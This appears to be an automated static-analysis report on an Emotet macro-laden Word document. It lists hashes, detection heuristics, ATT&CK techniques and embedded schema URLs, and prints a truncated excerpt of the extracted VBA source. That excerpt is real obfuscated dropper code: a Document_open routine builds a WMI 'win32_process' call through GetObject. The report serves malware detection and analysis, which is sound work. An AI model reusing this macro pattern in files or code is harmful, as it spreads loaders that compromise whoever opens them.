Emotet — Office (OOXML) malware analysis

Static analysis result for SHA-256 aa645c4db88eaf6c…

MALICIOUS

Office (OOXML)

127.2 KB Created: 2020-02-03 17:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-24
MD5: 7e91db56b5ae43062a0fa2ec60e2ad74 SHA-1: 61e4cddfe687339334f0e716061865d64aff88b0 SHA-256: aa645c4db88eaf6ca752a4c4ff090e64b9aa941e60da6fd52817305597b64a56
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with a specific Emotet signature. It contains a VBA macro with a Document_Open auto-execution routine and a GetObject call, indicative of Emotet's typical behavior. The macro appears to be obfuscated but is designed to execute code, likely to download and run a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.Emotet-7576645-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-7576645-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 10640 bytes
SHA-256: b4cabae95c67b82fac208cdddd51282de50fc909681cc4d45e321dc991f1cfc5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Zrpoxxuy"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (462) + 300
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 822 + 835 + 804
Atr6258312345 = (Njyfvoxarrha) + Atr625831282
Atr62583126 = Oblmntxroso + Bkkoqvlvbz + Hnldimbtqxmid
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (251) + 641
Atr62583123445 = (263) + 149
Atr62583122345 = ("{Pita Jeremo 777}")
Rcziujxwavrd.Cknxupzguiaq
End Sub

Attribute VB_Name = "Jnbstuhjmahxs"
Attribute VB_Base = "0{7CC905A2-C5E7-4390-A3E7-C8DF117EA0FF}{AC526591-2B25-4A77-A12B-23F8473FCAA6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Rcziujxwavrd"
Function Cknxupzguiaq()
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (640) + 403
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 562 + 12 + 771
Atr6258312345 = (Lgsrsrgtzcrnj) + Atr625831282
Atr62583126 = Cdceueorpo + Jmxfmwngdb + Nohopamamtv
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (860) + 562
Atr62583123445 = (101) + 133
Atr62583122345 = ("{Pita Jeremo 777}")
Wqfiykfeyltus = "^348^288^836^234wi^348^288^836^234nm^348^288^836^234g^348^288^836^234mt^348^288^836^234" + ChrW(Jnbstuhjmahxs.Zoom + 15) + "^348^288^836^234:w^348^288^836^234in^348^288^836^23432^348^288^836^234_" + Jnbstuhjmahxs.Qahxwioewhig + "r^348^288^836^234oc^348^288^836^234e^348^288^836^234s^348^288^836^234s"
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (462) + 802
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 704 + 96 + 132
Atr6258312345 = (Lcwfwacwod) + Atr625831282
Atr62583126 = Ddjksrqbbb + Yaoeaibuwzuf + Efrgynpuufg
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (374) + 350
Atr62583123445 = (206) + 133
Atr62583122345 = ("{Pita Jeremo 777}")
Schyfxbzuqmjz = Ztuayzblzizfr(Wqfiykfeyltus)
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (5) + 834
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 224 + 336 + 147
Atr6258312345 = (Mwtweazbeep) + Atr625831282
Atr62583126 = Quebtzpcyxtu + Ddvxuiyq + Vnzsmtalsn
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (230) + 226
Atr62583123445 = (535) + 509
Atr62583122345 = ("{Pita Jeremo 777}")
Set Vvrmngtsvzov = GetObject(DC + Schyfxbzuqmjz)
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (726) + 533
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 296 + 852 + 304
Atr6258312345 = (Ckkwjtnw) + Atr625831282
Atr62583126 = Unzhoohkdldt + Xfivlwztczl + Pwzvagksmb
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (67) + 275
Atr62583123445 = (890) + 369
Atr62583122345 = ("{Pita Jeremo 777}")
Wjxctbrnx = Jnbstuhjmahxs.Imlxftrosfkdq.Tag
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (876) + 773
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 969 + 40 + 581
Atr6258312345 = (Szwwudhfjrcs) + Atr625831282
Atr62583126 = Kqlklcdfsazi + Iwudxcrhl + Mrobvabuscx
Atr625831243 = ("{Pita Jeremo 777}")
Atr625831299 = (485) + 262
Atr62583123445 = (839) + 888
Atr62583122345 = ("{Pita Jeremo 777}")
Firdwxvffjam = Schyfxbzuqmjz + ChrW(Int(wdKeyS)) + Jnbstuhjmahxs.Wzaicthigqsyi.Tag + Wjxctbrnx
   Atr6258312758 = "{Pita Jeremo 777}" + "Inbs"
Atr6258312777 = (327) + 881
Atr625831282 = "{Pita Jeremo 777}" + "juigj"
Atr625831224 = ("{Pita Jeremo 777}")
Atr625831223 = 530 + 337 + 407
Atr6258312345 = 
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 51712 bytes
SHA-256: b7b7a591089881c3ef136f406e15ba233efa5af101188583af0a41c3c9361337
Detection
ClamAV: Doc.Malware.Emotet-7576645-0
Obfuscation or payload: unlikely